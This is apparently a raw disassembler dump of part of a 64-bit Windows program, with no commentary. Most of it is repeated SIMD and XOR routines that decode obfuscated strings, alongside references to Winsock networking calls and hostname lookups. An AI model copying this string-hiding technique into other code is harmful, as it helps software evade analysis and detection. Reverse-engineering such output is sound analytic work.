pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x24], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x20]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x20], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x1c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x14003b570
lea rdx, [0x1400fd99d]
lea rcx, [rbp - 0x28]
call fcn.140027220
cmp byte [0x1400e9b29], bl
movups xmm2, xmmword [0x1400e9b18]
movzx eax, word [0x1400e9b28]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x28], xmm2
je 0x14003b7d4
mov r8d, ebx
cmp edi, 2
jl 0x14003b78e
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x24], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x20]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x20], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x1c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14003b7a0
lea rdx, [0x1400fd99b]
lea rcx, [rbp - 0x28]
call fcn.140027220
movzx eax, word [0x1400e9f28]
mov r8d, ebx
mov word [rbp - 0x50], ax
movups xmm0, xmmword [str.sGFZZ__K]
movups xmm1, xmmword [0x1400e9f18]
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm1
cmp edi, 2
jl 0x14003b915
movdqa xmmword [rsp + 0x60], xmm13
lea rcx, [rbp - 0x6c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm6
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x14003b820
cmp r8d, 0x22
jge 0x14003b954
movsxd rax, r8d
lea r9, [rbp - 0x70]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x14003b920
lea rdx, [0x1400fd999]
lea rcx, [rbp - 0x70]
call fcn.140027220
movzx eax, word [0x1400e9f48]
lea rcx, [rsp + 0x40]
movsd xmm0, qword [str.qX_Q_A]
movsd qword [rsp + 0x40], xmm0
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
mov word [rsp + 0x48], ax
movzx eax, byte [0x1400e9f4a]
xor byte [rsp + 0x48], 0x38
xor al, 0x3a
xor byte [rsp + 0x49], 0x39
mov byte [rsp + 0x4a], al
mov byte [rsp + 0x40], 0x41
call fcn.140025c70
movss xmm1, dword [0x1400ea43c]
movaps xmm0, xmm14
call fcn.14000e130
call fcn.140039220
movzx ecx, word [0x1400e9e08]
lea rdx, [0x1400fd91f]
movzx eax, byte [0x1400e9e0a]
movsd xmm0, qword [0x1400e9e00]
xor al, 0x3a
movsd qword [rsp + 0x40], xmm0
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
mov word [rsp + 0x48], cx
xor cl, 0x38
xor byte [rsp + 0x49], 0x39
mov byte [rsp + 0x48], cl
lea rcx, [rsp + 0x40]
mov byte [rsp + 0x40], 0x41
mov byte [rsp + 0x4a], al
call fcn.140027220
cmp byte [0x1400e9d35], bl
movsd xmm0, qword [0x1400e9d28]
movzx eax, word [0x1400e9d34]
mov ecx, dword [0x1400e9d30]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x4c], ax
mov dword [rsp + 0x48], ecx
je 0x14003bc14
mov r8d, ebx
cmp edi, 2
jl 0x14003bbcb
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400e9d28]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14003bbe0
lea rcx, [rsp + 0x40]
call fcn.140025c70
mov eax, dword [0x1400e98c8]
lea r10, [rbp - 0x80]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400e98cc]
xor byte [rbp - 0x7f], 0x31
xor al, 0x34
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
cmp byte [0x1400ea013], bl
mov byte [rbp - 0x7c], al
mov eax, dword [0x1400ea010]
mov dword [rbp - 0x48], eax
mov byte [rbp - 0x80], 0x25
je 0x14003bcfa
mov r8d, ebx
cmp edi, 2
jl 0x14003bcc5
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
jmp 0x14003bcfa
lea r9, [rbp - 0x48]
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14003bcd0
lea rax, [rbp - 0x30]
mov qword [rsp + 0x28], r10
lea r9, [rbp - 0x40]
mov qword [rsp + 0x20], rax
lea r8, [0x1400fc15c]
mov dword [rbp - 0x30], reloc.WS2_32.dll_ntohs
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x40], 1
call fcn.140029490
cmp byte [0x1400e9981], bl
movups xmm2, xmmword [0x1400e9970]
movzx eax, word [0x1400e9980]
mov word [rbp - 0x18], ax
movups xmmword [rbp - 0x28], xmm2
je 0x14003bf44
mov r8d, ebx
cmp edi, 2
jl 0x14003bf04
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rbp - 0x28], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x24]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rbp - 0x24], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp - 0x20]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rbp - 0x20], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
mov r8d, reloc.WS2_32.dll_recv
movd xmm1, dword [rbp - 0x1c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp - 0x1c], xmm2
mov eax, r8d
lea r9, [rbp - 0x28]
add r9, rax
nop
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x14003bf10
lea rcx, [rbp - 0x28]
call fcn.140025c70
mov eax, dword [0x1400e98c8]
lea r10, [rbp - 0x80]
mov dword [rbp - 0x80], eax
movzx eax, byte [0x1400e98cc]
xor byte [rbp - 0x7f], 0x31
xor al, 0x34
xor byte [rbp - 0x7e], 0x32
xor byte [rbp - 0x7d], 0x33
cmp byte [0x1400ea0bb], bl
mov byte [rbp - 0x7c], al
mov eax, dword [0x1400ea0b8]
mov dword [rbp - 0x48], eax
mov byte [rbp - 0x80], 0x25
je 0x14003c02a
mov r8d, ebx
cmp edi, 2
jl 0x14003bff4
movdqa xmm1, xmm6
movdqa xmm0, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
xorps xmm1, xmm0
movd dword [rbp - 0x48], xmm1
jmp 0x14003c02a
lea r9, [rbp - 0x48]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 4
jl 0x14003c000
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], r10
lea r9, [rbp - 0x30]
mov qword [rsp + 0x20], rax
lea r8, [0x1400fc158]
mov dword [rbp - 0x40], Ordinal_301
lea rcx, [rbp - 0x48]
mov dword [rbp - 0x30], 0xa
call fcn.140029490
cmp dword [0x1400fde1c], 1
movaps xmm14, xmmword [rsp + 0x150]
jne 0x14003d784
cmp byte [reloc.WS2_32.dll_gethostname], bl
movsd xmm0, qword [0x1400ea178]
movzx eax, word [0x1400ea180]
movsd qword [rbp - 0x40], xmm0
mov word [rbp - 0x38], ax
mov dword [rsp + 0x40], 0x43be0000
mov dword [rsp + 0x44], 0x43d98000
je 0x14003c0c8
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor byte [rbp - 0x3c], 0x34
xor byte [rbp - 0x3b], 0x35
xor byte [rbp - 0x3a], 0x36
xor byte [rbp - 0x39], 0x37
xor byte [rbp - 0x38], 0x38
xor byte [rbp - 0x37], 0x39
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_35
mov rsi, qword [0x1400fd900]
lea rcx, [rbp - 0x40]
xor edx, edx
mov rax, qword [rsi + 0x19f8]
mov byte [rax + 0x7c], 1
mov rax, qword [rsi + 0x19f8]
movsxd r8, dword [rax + 0x1e0]
mov rax, qword [rax + 0x1e8]
mov r8d, dword [rax + r8*4 - 4]
call fcn.140003010
cmp dword [rsi + 0x1a24], eax
jne 0x14003c10d
mov dword [rsi + 0x1a2c], eax
lea r8, [rsp + 0x40]
mov dword [rsp + 0x20], ebx
lea rcx, [rbp - 0x40]
mov edx, eax
cmp dword [rsi + 0x1a28], eax
jne 0x14003c12b
mov byte [rsi + 0x1a37], 1
call fcn.1400088e0
movzx eax, byte [0x1400e9a20]
lea rdx, [0x1400fd99c]
movsd xmm0, qword [0x1400e9a18]
lea rcx, [rsp + 0x40]
movsd qword [rsp + 0x40], xmm0
xor al, 0x38
xor byte [rsp + 0x41], 0x31
xor byte [rsp + 0x42], 0x32
xor byte [rsp + 0x43], 0x33
xor byte [rsp + 0x44], 0x34
xor byte [rsp + 0x45], 0x35
xor byte [rsp + 0x46], 0x36
xor byte [rsp + 0x47], 0x37
mov byte [rsp + 0x48], al
mov byte [rsp + 0x40], 0x44
call fcn.140027220
cmp byte [0x1400fd99c], bl
je 0x14003c3ac
movups xmm2, xmmword [0x1400ea1a0]
movdqa xmm0, xmm2
psrldq xmm0, 0xf
movd eax, xmm0
movups xmmword [rsp + 0x60], xmm2
test al, al
je 0x14003c39b
mov r8d, ebx
cmp edi, 2
jl 0x14003c36c
movd eax, xmm2
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
movd ecx, xmm13
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, ecx
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, eax
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movd dword [rsp + 0x64], xmm2
movdqa xmm2, xmm9
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x68]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm7
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm7
movd dword [rsp + 0x68], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
movdqa xmm2, xmm12
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x6c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, ecx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x6c], xmm2
jmp 0x14003c39b
lea r9, [rsp + 0x60]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
mul r8d
shr edx, 5
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x14003c371
lea rdx, [0x1400fd8f9]
lea rcx, [rsp + 0x60]
call fcn.140027220
cmp byte [0x1400e9e85], bl
movsd xmm0, qword [0x1400e9e78]
movzx eax, word [0x1400e9e84]
mov ecx, dword [0x1400e9e80]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x4c], ax
mov dword [rsp + 0x48], ecx
je 0x14003c574
mov r8d, ebx
cmp edi, 2
jl 0x14003c52e
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1400e9e78]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, ecx
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rsp + 0x48], xmm2
mov eax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x30
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x14003c540
lea rdx, [0x1400fd8fc]
lea rcx, [rsp + 0x40]
call fcn.140027220
cmp byte [0x1400ea175], bl
movsd xmm0, qword [str.tCSD]
movzx eax, word [0x1400ea174]
mov ecx, dword [0x1400ea170]
movsd qword [rsp + 0x40], xmm0
mov word [rsp + 0x4c], ax
mov dword [rsp + 0x48], ecx
je 0x14003c754
mov r8d, ebx
cmp edi, 2
jl 0x14003c707
movd eax, xmm13
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
movdqa xmm0, xmm6
pmuldq xmm1, xmm7
movdqa xmm2, xmm8
punpckhdq xmm0, xmm6
mov r8d, ntohs
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm6
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.tCSD]
xorps xmm1, xmm0
movdqa xmm0, xmm8
movd dword [rsp + 0x40], xmm1
movdqa xmm1, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rsp + 0x44]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm9
xorps xmm2, xmm1
punpckhdq xmm0, xmm9
movd dword [rsp + 0x44], xmm2
movdqa xmm1, xmm9
pmuldq xmm0, xmm7
movdqa xmm2, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
shufps xmm1, xmm0, 0xdd
